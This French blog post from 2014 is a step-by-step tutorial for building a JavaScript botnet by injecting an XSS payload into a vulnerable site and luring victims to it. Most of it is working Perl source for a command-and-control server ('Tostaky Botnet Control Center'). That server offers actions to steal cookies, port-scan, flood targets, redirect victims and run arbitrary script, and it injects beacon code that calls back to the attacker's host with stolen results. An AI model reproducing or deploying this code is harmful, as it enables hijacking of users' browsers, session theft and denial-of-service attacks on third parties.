mercredi 24 décembre 2014

Créer un “botnet” avec Javascript, c’est mieux…

Après avoir créé un “keylogger” en Javascript nous allons grâce à “XSS Payloads” construire notre premier “botnet” en Javascript.

On identifie 5 étapes nous permettant de créer notre premier réseau “botnet”:

  • Installer notre serveur C&C
  • Trouver un site web avec une faille XSS
  • Injecter le “payload” XSS dans cette page web
  • Envoyer la page web infectée à nos cibles
  • Et attendre que les utilisateurs cliquent pour prendre la main sur leur browser

Phase I: le serveur C&C

On trouve le code Perl de notre serveur C&C sur le site de “XSS Payloads”:

   1: #!/usr/bin/perl
   2:  
   3: use IO::Socket;
   4:  
   5: # Autoflush
   6: $| = 1;
   7:  
   8: ######### Global Variables
   9: my $VERSION = "1.0";
  10:  
  11: my %ARGS = (
  12:                 "PORT"        => 80,                # Server listening port 
  13:                 "DEBUG"        => 0,                # Debug mode
  14:                 "VERBOSE"    => 0,                # Verbose mode
  15:                 "ADMIN"        => "/admin",        # Admin URI
  16:                 "INJECT"    => "/inject",        # Injection URI
  17:                 "SYNC"        => "/sync",            # Sync URI
  18:                 "FATHER"    => "",                #  Referer IP:port:sync (194.98.65.65:81:/sync)
  19:                 "LOGIN"        => "admin",            # Admin login
  20:                 "PASSWORD"    => "admin",            # Admin password
  21:                 "HEARTBEAT"    => 6500,            # Bot connection timer        
  22:                 "LOADTIMER"    => 12000,            # Page loading time
  23:                 "SESSION"    => "sessionID",        # Session management argument
  24:                 "LOCALIP"    => "",                 # Local IP
  25:                 "REMOTEIP"    => "",                # Reachable IP address (useful fort NAT)
  26:                 "BOTSESSION"=> "botSessionID",    # Bot session management argument
  27:  
  28:             );            
  29:             
  30: my $ERROR = 0;
  31: my $SERVER;
  32: my %ADMIN_SESSION;
  33: my %CLIENTS;
  34: my %SESSIONS;
  35: my %ADMIN_SESSION;
  36: my @OPERATIONS;
  37: my @AUTOACTION = ("Idle",'');
  38: my @PEERS;
  39: my %SERVERS;
  40: my $SYNC_DELAY = 300;
  41:  
  42:  
  43: my %HTTP_RESPONSE = (
  44:                     "200"    => "OK",
  45:                     "404"    => "FILE NOT FOUND",
  46:                 );
  47:                 
  48: my %ACTIONS = (
  49:                     "Idle"        => ["Waiting for commands",\&actionIdle],
  50:                     "Redirect"    => ["Redirect Client",\&actionRedirect],
  51:                     "Alert"        => ["Say Hello",\&actionAlert],
  52:                     "Custom"    => ["Write your script",\&actionCustom],
  53:                     "Portscan"    => ["Params: \<target\> \<port\> \[timeout\]",\&actionPortscan],
  54:                     "Flood"        => ["Kill target. This is bad.",\&actionFlood],
  55:                     "Cookies"    => ["Steal cookies",\&actionCookies],
  56:                     "GetPage"    => ["Download page HTML code",\&actionGetPage],
  57:                 );
  58:  
  59: ##################### Main Function Path ###########################
  60:  
  61: ######### STEP 1: Get command line args and set global variables;
  62: if(!&getCLIargs(\@ARGV)) { 
  63:     &displayUsage();
  64:     $ERROR = 1;
  65: }
  66:  
  67: my %FUNCTIONS = (
  68:                     $ARGS{"ADMIN"}         => \&adminPage,
  69:                     $ARGS{"INJECT"}        => \&injectPage,
  70:                     "*"            => \&defaultPage,
  71:                 );
  72:  
  73: ## Debug Mode
  74: if($ARGS{"DEBUG"} == 1) { print "\n>> Debug mode <<\n\n";  }
  75: if($ARGS{"DEBUG"} == 2) { print "\n>> HEAVY Debug mode <<\n\n"; use Data::Dumper; }
  76: ##
  77:  
  78: ## Print banner
  79: if($ARGS{"VERBOSE"}) {
  80:     print "\n";
  81:     print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
  82:     print "!!!!!    Welcome on XSS-BOT   !!!!!\n";
  83:     print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
  84:     print "\n";
  85: }
  86:  
  87: if($ARGS{"VERBOSE"}) {
  88:     print "Launch Options\n";
  89:     print "--------------\n";
  90:     while(my($arg,$value) = each(%ARGS)) {
  91:         if($arg ne "LOCALIP") {
  92:             print $arg." "x(25-length($arg))."= ".$value."\n";
  93:         }
  94:     }
  95:     print "\n";
  96: }
  97:  
  98: if($ARGS{"FATHER"}) {
  99:     my @peer = split(/:/,$ARGS{"FATHER"});
 100:     $PEERS{$peer[0]} = \@peer;
 101: }
 102:  
 103: ######### STEP 1: End.
 104:  
 105: ######### STEP 2: Sync setup
 106:  
 107: &feedInitialPeer(); 
 108:  
 109: ######### STEP 2: End.
 110:  
 111: ######### STEP 3: Launch Web Server
 112: if(!$ERROR) { 
 113:     if(!&launchWebServer()) {
 114:         $ERROR = 1;
 115:     }
 116: }
 117:  
 118: ######### STEP 3: End.    
 119:  
 120: ######### STEP 4: Main Loop
 121: if(!$ERROR) {
 122:     if(!&startListener()) {
 123:         $ERROR = 1;
 124:     }
 125: }
 126: ######### STEP 4: End.    
 127:  
 128:  
 129: ## Debug
 130: if($ERROR && $ARGS{"DEBUG"}) { "Exiting on error. Too bad.\n"; }
 131: ##
 132: if(!$ERROR && $ARGS{"VERBOSE"}) { "Exiting.\n"; }
 133:  
 134: ##############################################################
 135:  
 136: ##### STEP 1 Functions - Start ######
 137: sub getCLIargs() {
 138:  
 139:     my ($argv_ref) = @_;
 140:  
 141:     my $error = 0;
 142:     my $return_val = 1;
 143:     
 144:     if($#ARGV >= 0) { 
 145:         foreach my $arg(@$argv_ref) {
 146:             if(!($arg =~ /^-/)) { 
 147:                 $error = 1;
 148:             } else {
 149:                 $arg =~ s/^--?(.*)$/$1/;
 150:                 if($arg =~ /^p(?:ort)?=(\d+)$/) { # Listening port
 151:                     $ARGS{"PORT"} = $1;
 152:                 } elsif($arg =~ /^d(?:ebug)?$/) { # Debug mode
 153:                     $ARGS{"DEBUG"} += 1;
 154:                     $ARGS{"VERBOSE"} = 1;    # Setting verbose mode as well
 155:                 } elsif($arg =~ /^v(?:erbose)?$/) { # Verbose mode
 156:                     $ARGS{"VERBOSE"} = 1;
 157:                 } elsif($arg =~ /^a(?:dmin)?=(\S+)$/) { # Admin URI
 158:                     $ARGS{"ADMIN"} = $1;
 159:                 } elsif($arg =~ /^i(?:nject)?=(\S+)$/) { #  Injection URI
 160:                     $ARGS{"INJECT"} = $1;    
 161:                 } elsif($arg =~ /^(?:y|sync)=(.*)$/) { # Sync URI
 162:                     $ARGS{"SYNC"} = $1;
 163:                 } elsif($arg =~ /^f(?:ather)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+:.*)$/) { # Referer for initial sync
 164:                     $ARGS{"FATHER"} = $1;
 165:                 } elsif($arg =~ /^l(?:ogin)?=(.*)$/) { # Admin login
 166:                     $ARGS{"LOGIN"} = $1;
 167:                 } elsif($arg =~ /^(?:w|password)=(.*)$/) { # Admin password
 168:                     $ARGS{"PASSWORD"} = $1;
 169:                 } elsif($arg =~ /^h(?:eartbeat)?=(\d+)$/) { # Bot connection timer
 170:                     $ARGS{"HEARTBEAT"} = $1;
 171:                 } elsif($arg =~ /^s(?:ession)?=([a-zA-Z0-9]+)$/) { # Session management argument
 172:                     $ARGS{"SESSION"} = $1;
 173:                 } elsif($arg =~ /^b(?:otession)?=([a-zA-Z0-9]+)$/) { # Bot session management argument
 174:                     $ARGS{"BOTSESSION"} = $1;
 175:                 } elsif($arg =~ /^r(?:emoteip)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/) { # remotely accessible ip
 176:                     $ARGS{"REMOTEIP"} = $1;
 177:                 #} elsif($arg =~ /^(?:t|loadtimer)=(.*)$/) { # Page loading time
 178:                 #    $ARGS{"LOADTIMER"} = $1;
 179:                 } else {
 180:                     $error = 1;
 181:                 }
 182:             }
 183:         }
 184:     }
 185:     
 186:     if($error) {
 187:         $return_val = 0;
 188:     }
 189:     
 190:     return $return_val;
 191:     
 192: }
 193: ##### STEP 1 Functions - END ######
 194:  
 195: ##### STEP 2 Functions - START ####
 196:  
 197: sub feedInitialPeer {
 198:  
 199:     my ($father_ip,$father_port,$father_sync_uri) = split(/:/,$ARGS{"FATHER"});
 200:     
 201:     my $return_value = &feedPeer($father_ip,$father_port,$father_sync_uri);
 202:     
 203:     return $return_value;
 204:  
 205: }
 206:  
 207: sub feedPeer {
 208:  
 209:     my ($sync_ip,$sync_port,$sync_uri) = @_;
 210:     
 211:     my $return_value = 1;
 212:     
 213:     use IO::Socket;
 214:     my $sync_sock = IO::Socket::INET->new (
 215:                                 PeerAddr    => $sync_ip,
 216:                                 PeerPort     => $sync_port,
 217:                                 Proto         => 'tcp',
 218:                                     );
 219:                                     
 220:     if(!$sync_sock) {
 221:         if(defined($PEERS{$sync_ip})) { # A peer is now down
 222:             delete $PEERS{$sync_ip};
 223:         }
 224:         $error = 1;
 225:     } else {
 226:         print $syn_sock "GET ".$sync_uri." HTTP/1.0";
 227:         my $line;
 228:         while ($line = <$sock>) {
 229:             chomp($line);
 230:             if(my @peer = $line =~ /^([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+)/) { # @peer  =  (ip,port,sync_uri,admin_uri,inject_uri,sessionID,botSessuionID)
 231:             $PEERS{$peer[0]} = \@peer;
 232:             }
 233:         }
 234:         
 235:         close($sync_sock);
 236:         
 237:     }
 238:     
 239:     if($error) {
 240:         $return_value = 0;
 241:     }
 242:     
 243:     return $return_value;
 244:                 
 245:     
 246:     
 247: }
 248:  
 249: ##### STEP 2 Functions - END ######
 250:  
 251: ##### STEP 3 Functions - START ####
 252:  
 253: sub syncWithPeers {
 254:  
 255:     while(my($peer_ip,$peer_data) = each(%PEERS)) {
 256:         &feedPeer($peer_ip,$peer_data->[1],$peer_data->[2]);
 257:     }
 258:         
 259: }
 260:  
 261: sub launchWebServer {
 262:  
 263:     my $error = 0;
 264:     my $return_value = 1;
 265:     
 266:     $SERVER = IO::Socket::INET->new( 
 267:                                 Proto     => 'tcp',
 268:                                 LocalPort => $ARGS{"PORT"},
 269:                                 Listen    => SOMAXCONN,
 270:                                 Reuse     => 1
 271:                             );
 272:                             
 273:     if(!$SERVER) { 
 274:         $error = 1; 
 275:     } else {    
 276:         $mysockaddr = getsockname($SERVER);
 277:         my($port, $myaddr) = sockaddr_in($mysockaddr);
 278:         $ARGS{"LOCALIP"} = scalar gethostbyaddr($myaddr, AF_INET);    
 279:         if(!$ARGS{"REMOTEIP"}) {
 280:             $ARGS{"REMOTEIP"} = $ARGS{"LOCALIP"};
 281:         }
 282:     }
 283:     
 284:     ## Debug
 285:     if(!$error && $ARGS{"DEBUG"}) {    print("Server listening on ".$ARGS{"LOCALIP"}." on port ".$ARGS{"PORT"}."\n"); print("Admin URI is ".$ARGS{"ADMIN"}."\n"); }
 286:     ##
 287:     
 288:     if($error && $ARGS{"VERBOSE"}) {    print("Error launching server\n"); }
 289:     
 290:     if($error) {
 291:         $return_value = 0;
 292:     }
 293:     
 294:     return $return_value;
 295: }
 296:  
 297: ##### STEP 3 Functions - END ######
 298:  
 299: ##### STEP 4 Functions - START ####
 300:  
 301: sub startListener {
 302:  
 303:     my $error = 0;
 304:     my $return_value = 1;
 305:     
 306:     my $previous = time();
 307:     
 308:     while (my $client = $SERVER->accept()) {
 309:     
 310:         if(time()-$previous > $SYNC_DELAY) {
 311:             &syncWithPeers();
 312:             $previous = time();
 313:         }
 314:     
 315:         my %client;
 316:         $client->autoflush(1);
 317:         $client{"request"} = <$client>;
 318:         chomp($client{"request"});
 319:  
 320:         my $source = getpeername($client);
 321:         my ($iport, $iaddr) = unpack_sockaddr_in($source);
 322:         $client{"port"} = $iport;
 323:         $client{"ip"} = inet_ntoa($iaddr);
 324:                 
 325:         if($ARGS{"VERBOSE"}) { print($client{"ip"}." connected - Request: ".$client{"request"}."\n"); }
 326:         
 327:         my @request; 
 328:         &parseRequest(\@request,\%client);
 329:         if(defined($request[1]->[1]->{$ARGS{"SESSION"}})) { 
 330:             $client{"session"} = $request[1]->[1]->{$ARGS{"SESSION"}};
 331:         }
 332:         
 333:         ## Debug (heavy)
 334:         if($ARGS{"DEBUG"} == 2) { print "Request Array\n"; print Dumper(@request); }
 335:         ##
 336:         
 337:         &setClientSession(\%client);    
 338:  
 339:         ## Debug (heavy)
 340:         if($ARGS{"DEBUG"} == 2) { print "Clients Hash\n"; print Dumper(%CLIENTS); print "Sessions hash\n"; print Dumper(%SESSIONS); print "Operations Array\n"; print Dumper(@OPERATIONS); print "AutoAction Array\n"; print Dumper(@AUTOACTION);}
 341:         ##
 342:         
 343:         if(!defined($FUNCTIONS{$request[1]->[0]})) {
 344:             &{$FUNCTIONS{"*"}} ($client,\%client,\@request);
 345:         } else {
 346:             &{$FUNCTIONS{$request[1]->[0]}} ($client,\%client,\@request);
 347:         }
 348:         
 349:         close($client);
 350:         
 351:     }
 352:     
 353:     return $return_value;
 354:     
 355: }
 356:  
 357: sub parseRequest {
 358:  
 359:     my($line_ref,$client_ref) = @_;
 360:     
 361:     my $request = $client_ref->{"request"};
 362:     
 363:     my %arguments;
 364:     my @uri;
 365:     
 366:     my($method,$uri,$protocol) = split(/ /,$request);
 367:     my ($resource,$arguments) = split(/\?/,$uri);
 368:     my @arguments = split(/\&/,$arguments);
 369:     
 370:     foreach my $arg(@arguments) {
 371:         my($name,$value) = split(/=/,$arg);
 372:         $arguments{$name} = $value;
 373:     }
 374:     
 375:     @uri = ($resource,\%arguments);
 376:     $line_ref->[0] = $method;
 377:     $line_ref->[1] = \@uri;
 378:     $line_ref->[2] = $protocol;
 379:     
 380: }
 381:  
 382: sub setClientSession {
 383:  
 384:     my ($client_ref) = @_;
 385:     
 386:     my $ip = $client_ref->{"ip"};
 387:     my $request = $client_ref->{"request"};
 388:     my $time = time();
 389:     my $sessionID = $client_ref->{"session"};
 390:     if(!$sessionID) {
 391:         $sessionID = &getSessionID();
 392:         $client_ref->{"session"} = $sessionID;
 393:     }
 394:     
 395:     if($ARGS{"DEBUG"}) { print "Session ID : $sessionID\n"; }
 396:     
 397:     my @request = ($time,$request);
 398:     
 399:     if(!defined($CLIENTS{$ip})) {    # New client, building the full data structure
 400:         my @requests = (\@request);        
 401:         my @session = ($sessionID,\@requests);
 402:         
 403:         $CLIENTS{$ip} = \@session;
 404:         my @action = ("Idle",'');
 405:         $SESSIONS{$sessionID}= \@action;
 406:     } else {                                     # Existing client
 407:         if($CLIENTS{$ip}->[0] eq $sessionID) {    # Current session
 408:             if($#{$CLIENTS{$ip}->[1]} >= 10) { 
 409:                 pop(@{$CLIENTS{$ip}->[1]});
 410:             }
 411:             unshift(@{$CLIENTS{$ip}->[1]},\@request);            
 412:         } else {                                # New session
 413:             delete $SESSIONS{$CLIENTS{$ip}->[0]};
 414:             my @requests = (\@request);            
 415:             my @session = ($sessionID,\@requests);
 416:             
 417:             $CLIENTS{$ip} = \@session;
 418:             my @action = ("Idle",'');
 419:             $SESSIONS{$sessionID}= \@action;
 420:         }
 421:     }
 422: }
 423:             
 424: ##### STEP 4 Functions - END ######
 425:  
 426: ##### Web Server Functions - START ##
 427:  
 428: ##### Admin & Control Pages - START #####
 429: sub adminPage {
 430:  
 431:     my ($c_socket,$client_ref,$request_ref) = @_;
 432:     
 433:     if($request_ref->[1]->[1]->{"login"} eq $ARGS{"LOGIN"}                         # Successful login
 434:             && $request_ref->[1]->[1]->{"password"} eq $ARGS{"PASSWORD"} ) {     #
 435:         
 436:             # Set admin session parameters
 437:             $ADMIN_SESSION{"sessionID"}=$client_ref->{"session"};
 438:             $ADMIN_SESSION{"ip"}=$client_ref->{"ip"};
 439:             $ADMIN_SESSION{"time"}=$client_ref->{"time"};
 440:     }
 441:         
 442:     if($ADMIN_SESSION{"sessionID"} eq $client_ref->{"session"}
 443:                     && $ADMIN_SESSION{"ip"} eq $client_ref->{"ip"}
 444:                     && $ADMIN_SESSION{"time"} > ($client_ref->{"time"} - 300)) {
 445:             
 446:             &controlPage($c_socket,$client_ref,$request_ref);
 447:             
 448:     } else {
 449:     
 450:         my $response;
 451:         $response .= genHeader("200","text/html");
 452:         
 453:         $response .= "<HTML>"."\n";
 454:         $response .= "<HEAD></HEAD>"."\n";
 455:         
 456:         $response .= "<BODY>"."\n";
 457:         $response .= "<PRE>"."\n";
 458:         $response .= "<FORM NAME=\"login\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";        
 459:         $response .= "Login: <INPUT TYPE=\"text\" name=\"login\">"."\n";
 460:         $response .= "Pass : <INPUT TYPE =\"password\" name=\"password\">"."\n";
 461:         $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
 462:         $response .= "<INPUT TYPE=\"submit\" value=\"login\">"."\n";
 463:         $response .= "</FORM>"."\n";
 464:         
 465:         $response .= "</PRE>"."\n";
 466:         $response .= "</BODY>"."\n";
 467:         $response .= "</HTML>\n";
 468:         print $c_socket $response;
 469:     
 470:     }
 471: }
 472:  
 473: sub controlPage {
 474:  
 475:     my ($c_socket,$client_ref,$request_ref) = @_;
 476:     
 477:     #### Apply selected action (if any)
 478:     if(defined($request_ref->[1]->[1]->{"action"})
 479:         && defined($request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}})) {
 480:         my $action = $request_ref->[1]->[1]->{"action"};
 481:         my $botSessionID = $request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}};
 482:         my $params;
 483:         if(defined($request_ref->[1]->[1]->{"params"})) {
 484:             $params = $request_ref->[1]->[1]->{"params"};
 485:         }
 486:         
 487:         if(defined($ACTIONS{$action})) {
 488:             $SESSIONS{$botSessionID}->[0] = $action;
 489:             $SESSIONS{$botSessionID}->[1] = $params;
 490:         }
 491:     }
 492:     
 493:     #### Sets default action
 494:     if(defined($request_ref->[1]->[1]->{"autoAction"})) {
 495:         my $autoAction = $request_ref->[1]->[1]->{"autoAction"};        
 496:         my $autoParams;
 497:         if(defined($request_ref->[1]->[1]->{"autoParams"})) {
 498:             $autoParams = $request_ref->[1]->[1]->{"autoParams"};
 499:         }
 500:         
 501:         if(defined($ACTIONS{$autoAction})) {
 502:             $AUTOACTION[0] = $autoAction;
 503:             $AUTOACTION[1] = $autoParams;
 504:         }
 505:     }
 506:     
 507:     
 508:     #### Display currently connected bots status
 509:     my %bots;
 510:     my $current_params;
 511:     my $current_action;
 512:     
 513:     my $response;
 514:     $response .= genHeader("200","text/html");
 515:  
 516:     $response .= "<HTML>"."\n";
 517:     $response .= "<HEAD>"."\n";
 518:     $response .= "<SCRIPT TYPE=\"text/javascript\">"."\n";
 519:     $response .= "function changeAction(actionField) {"."\n";
 520:     $response .= " var aTypeId;"."\n";
 521:     $response .= " var aDescId;"."\n";
 522:     $response .= " if(actionField == 'action') {"."\n";
 523:     $response .= "  aTypeId = 'action';"."\n";
 524:     $response .= "  aDescId = 'actionDesc';"."\n";
 525:     $response .= " } else if(actionField == 'autoAction') {"."\n";
 526:     $response .= "  aTypeId = 'autoAction';"."\n";
 527:     $response .= "  aDescId = 'autoActionDesc';"."\n";
 528:     $response .= " };"."\n";
 529:     $response .= " var aValue = document.getElementById(aTypeId).value; "."\n";
 530:     
 531:     
 532:     while(my($action,$details_ref) = each(%ACTIONS)) {
 533:         my $description = $details_ref->[0];
 534:         $response .= " if(aValue == '".$action."') {"."\n";
 535:         $response .= "  document.getElementById(aDescId).innerHTML='".$description."';"."\n";
 536:         $response .= " }";        
 537:     }
 538:     $response .= "}"."\n";    
 539:     
 540:     $response .= "</SCRIPT>"."\n";
 541:     $response .= "</HEAD>"."\n";
 542:         
 543:     $response .= "<BODY>"."\n";
 544:     $response .= "<PRE>"."\n";
 545:     
 546:     
 547:     
 548:     
 549:     $response .= ">>> Tostaky Botnet Control Center <<<"."\n";
 550:  
 551:     $response .= "               <A HREF=\"".$ARGS{"ADMIN"}."?".$ARGS{"SESSION"}."=".$client_ref->{"session"}."\">refresh</A>"."\n";
 552:     $response .= "\n";
 553:     $response .= "\n";
 554:     $response .= "+++ Active Sessions List +++"."\n";
 555:     $response .= "\n";
 556:     
 557:     $response .= "+---- Bot IP -----+---- Action ----+---- Params ---->"."\n";
 558:     
 559:     while(my($ip,$session_ref) = each(%CLIENTS)) {
 560:         ## Debug (Heavy)
 561:         if($ARGS{"DEBUG"} == 2) { print "now = ".time()." - last = ".$session_ref->[1]->[0]->[0]." - Timeout = ".((int($ARGS{"HEARTBEAT"}/1000))+1)."\n"; }
 562:         ##
 563:         if($session_ref->[0] ne $ADMIN_SESSION{"sessionID"}
 564:             && $session_ref->[1]->[0]->[0] >= (time() - 2*(int($ARGS{"HEARTBEAT"}/1000)+2))) {
 565:             
 566:             $bots{$ip} = $CLIENTS{$ip}->[0];
 567:             
 568:             my $current_action = "Idle";
 569:             my $current_params = "";
 570:             
 571:             if($SESSIONS{$CLIENTS{$ip}->[0]}->[0]) { 
 572:                 $current_action = $SESSIONS{$CLIENTS{$ip}->[0]}->[0];
 573:             }        
 574:             $response .= "| ".$ip." "x(16-length($ip));
 575:             $response .= "| ".$current_action." "x(15-length($current_action));        
 576:             if($SESSIONS{$CLIENTS{$ip}->[0]}->[1]) { 
 577:                 $current_params = $SESSIONS{$CLIENTS{$ip}->[0]}->[1];
 578:             }
 579:             my $nice_params = &URLDecode($current_params);
 580:             $nice_params =~ s/\+/ /g;
 581:             $response .= "| ".$nice_params;
 582:             $response .= "\n";
 583:             
 584:         }
 585:     }
 586:     
 587:     $response .= "+-----------------+----------------+---------------->"."\n";
 588:     
 589:     $response .= "\n";
 590:     $response .= "\n";
 591:  
 592:     #### Actions
 593:     # Automated    
 594:     $response .= "+++++ Automated Action +++++"."\n";
 595:     $response .= "\n";
 596:     
 597:     $response .= "</PRE>"."\n";
 598:     $response .= "<FORM NAME=\"automation\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";            
 599:     $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
 600:     
 601:     $response .= "<SELECT NAME=\"autoAction\" ID=\"autoAction\" onChange=\"changeAction('autoAction')\">"."\n"; 
 602:     my $actionDescription;
 603:     foreach my $action(keys %ACTIONS) {
 604:         if($action eq $AUTOACTION[0]) {
 605:             $actionDescription = $ACTIONS{$AUTOACTION[0]}->[0];
 606:             $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
 607:         } else { 
 608:             $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
 609:         }
 610:     }
 611:     $response .= "</SELECT>"."\n";
 612:     
 613:     $response .= "<INPUT TYPE=\"text\" NAME=\"autoParams\" VALUE=\"".&URLDecode($AUTOACTION[1])."\">"."\n";
 614:     
 615:     
 616:     
 617:     $response .= "<INPUT TYPE=\"submit\" value=\"Change that\">"."\n";
 618:     $response .= "</FORM>"."\n";
 619:     
 620:     $response .= "<PRE>"."\n";
 621:     $response .= "<DIV ID=\"autoActionDesc\">".$actionDescription."</DIV>"."\n";
 622:     
 623:     
 624:     
 625:     # One shot
 626:     $response .= "+++++++ Take Control +++++++"."\n";
 627:     $response .= "\n";
 628:     
 629:     $response .= "</PRE>"."\n";
 630:     $response .= "<FORM NAME=\"control\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";            
 631:     $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
 632:     
 633:     $response .= "<SELECT NAME=\"".$ARGS{"BOTSESSION"}."\">"."\n";
 634:     while(my($bot_ip,$bot_session) = each (%bots)) {
 635:         $response .= "<OPTION VALUE=\"".$bot_session."\">".$bot_ip."</OPTION>"."\n";
 636:     }
 637:     $response .= "</SELECT>"."\n";
 638:     
 639:     $response .= "<SELECT NAME=\"action\" ID=\"action\" onChange=\"changeAction('action')\">"."\n"; 
 640:     my $actionCount = 0;
 641:     my $actionDescription;
 642:     foreach my $action(keys %ACTIONS) {
 643:         if(!$actionCount) {
 644:             $actionDescription = $ACTIONS{$action}->[0];
 645:             $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
 646:         } else { 
 647:             $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
 648:         }
 649:         $actionCount++;
 650:     }
 651:     $response .= "</SELECT>"."\n";
 652:     
 653:     $response .= "<INPUT TYPE=\"text\" NAME=\"params\">"."\n";
 654:     
 655:     
 656:     
 657:     $response .= "<INPUT TYPE=\"submit\" value=\"Let\'s Go\">"."\n";
 658:     $response .= "</FORM>"."\n";
 659:     
 660:     $response .= "<PRE>"."\n";
 661:     $response .= "<DIV ID=\"actionDesc\">".$actionDescription."</DIV>"."\n";
 662:     
 663:     
 664:     
 665:     
 666:     #### Responses
 667:     $response .= "++++++ Bots Responses ++++++"."\n";
 668:     $response .= "\n";
 669:     
 670:     foreach my $operation_ref(@OPERATIONS) {
 671:         my @operation = @$operation_ref;
 672:         my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($operation[0]);
 673:         
 674:         $mon += 1;
 675:         $mon = "0"x(2-length($mon)).$mon;
 676:         $mday = "0"x(2-length($mday)).$mday;
 677:         $hour = "0"x(2-length($hour)).$hour;
 678:         $min = "0"x(2-length($min)).$min;
 679:         $sec = "0"x(2-length($sec)).$sec;
 680:         
 681:         $response .= $mon."-".$mday." ".$hour.":".$min.":".$sec;
 682:         $response .= " -> ";
 683:         $response .= $operation[1];
 684:         $response .= " : ";
 685:         
 686:         my $response_content = URLDecode($operation[2]);
 687:         $response_content =~ s/</\&lt;/g;
 688:         $response_content =~ s/>/\&gt;/g;
 689:         
 690:         $response .= $response_content;
 691:         $response .= "\n";
 692:     }
 693:     
 694:     $response .= "</PRE>"."\n";
 695:     
 696:     $response .= "</BODY>"."\n";
 697:     $response .= "</HTML>\n";
 698:     
 699:     print $c_socket $response;
 700:     
 701: }
 702:  
 703: ##### Admin & Control Pages - END #####
 704:  
 705: ##### Injection Pages - START #######
 706:  
 707: sub injectPage {
 708:  
 709:     my ($c_socket,$client_ref,$request_ref) = @_;
 710:     
 711:     my $botSessionID = $client_ref->{"session"};
 712:     
 713:     my $response;
 714:     $response .= &genHeader("200","text/plain");
 715:     
 716:     if(!$request_ref->[1]->[1]->{$ARGS{"SESSION"}}) {        # New bot session
 717:                 
 718:         # Injecting Session Initializatin Script
 719:         $response .= initSessionCode($botSessionID);
 720:         $response .= &{$ACTIONS{$AUTOACTION[0]}->[1]}($AUTOACTION[1]);
 721:         $SESSIONS{$botSessionID}->[0] = $AUTOACTION[0];
 722:         $SESSIONS{$botSessionID}->[1] = $AUTOACTION[1];
 723:         
 724:     } else {
 725:         
 726:         if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) && $SESSIONS{$botSessionID}->[0] ne "Idle") {
 727:             $response .= &{$ACTIONS{$SESSIONS{$botSessionID}->[0]}->[1]}($SESSIONS{$botSessionID}->[1]);
 728:         }
 729:         
 730:         if(defined($request_ref->[1]->[1]->{"return"})) {
 731:             my @operation = (time(),$client_ref->{"ip"},$request_ref->[1]->[1]->{"return"});
 732:             unshift(@OPERATIONS,\@operation);
 733:         }
 734:         
 735:     }
 736:                     
 737:     print $c_socket $response;
 738:     
 739:     if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) && 
 740:         ( $SESSIONS{$botSessionID}->[0] eq "Custom"
 741:             || $SESSIONS{$botSessionID}->[0] eq "Alert"
 742:             || $SESSIONS{$botSessionID}->[0] eq "Portscan"
 743:             || $SESSIONS{$botSessionID}->[0] eq "GetPage")
 744:             ) {
 745:         $SESSIONS{$botSessionID}->[0] = "Idle";
 746:         $SESSIONS{$botSessionID}->[1] = '';
 747:     }
 748:     
 749: }
 750:  
 751: ##### Injection Pages - END #########
 752:  
 753:  
 754:  
 755: ##### Injection Scripts - START #######
 756:  
 757: sub initSessionCode {
 758:  
 759:     my ($sessionID) = @_;
 760:     
 761:     my $script_code;
 762:     
 763:     $script_code .= "function connectCC(retval) {"."\n";
 764:     $script_code .= " var URL= 'http://".$ARGS{"REMOTEIP"}.":".$ARGS{"PORT"}.$ARGS{"INJECT"}."?".$ARGS{"SESSION"}."=".$sessionID."';"."\n";
 765:     $script_code .= " if(retval) { URL = URL+'\&return='+retval; } "."\n";
 766:     $script_code .= " var scriptTag = document.getElementById('loadScript');"."\n";
 767:     $script_code .= " var head = document.getElementsByTagName('head').item(0);"."\n";  
 768:     $script_code .= " if(scriptTag) head.removeChild(scriptTag);"."\n";  
 769:     $script_code .= " script = document.createElement('script');"."\n";
 770:     $script_code .= " script.src = URL;"."\n";
 771:     $script_code .= " script.type = 'text/javascript';"."\n";
 772:     $script_code .= " script.id = 'loadScript';"."\n";
 773:     $script_code .= " head.appendChild(script);"."\n";
 774:     $script_code .= "}"."\n";    
 775:     $script_code .= "var sessionID='".$sessionID."';"."\n";
 776:     $script_code .= "setInterval('connectCC()',".$ARGS{"HEARTBEAT"}.");"."\n";
 777:     
 778:     
 779:     return $script_code;
 780:     
 781: }
 782:     
 783: sub actionRedirect {
 784:  
 785:     my ($params) = @_;
 786:     
 787:     my $code;
 788:     
 789:     $code .= "var returnValue = window.location='".&URLDecode($params)."';\n";
 790:     
 791:     return $code;
 792:     
 793: }    
 794:  
 795: sub actionAlert {
 796:  
 797:     my ($params) = @_;
 798:     
 799:     my $code;
 800:     
 801:     $code .= "var returnValue = alert('".$params."');\n";
 802:     
 803:     return $code;
 804:     
 805: }    
 806:  
 807: sub actionCustom {
 808:  
 809:     my ($params) = @_;
 810:     
 811:     my $code;
 812:     
 813:     $code .= "var returnValue = ".&URLDecode($params).";\n";
 814:     $code .= "connectCC(returnValue);"."\n";
 815:     
 816:     return $code;
 817:     
 818: }    
 819:  
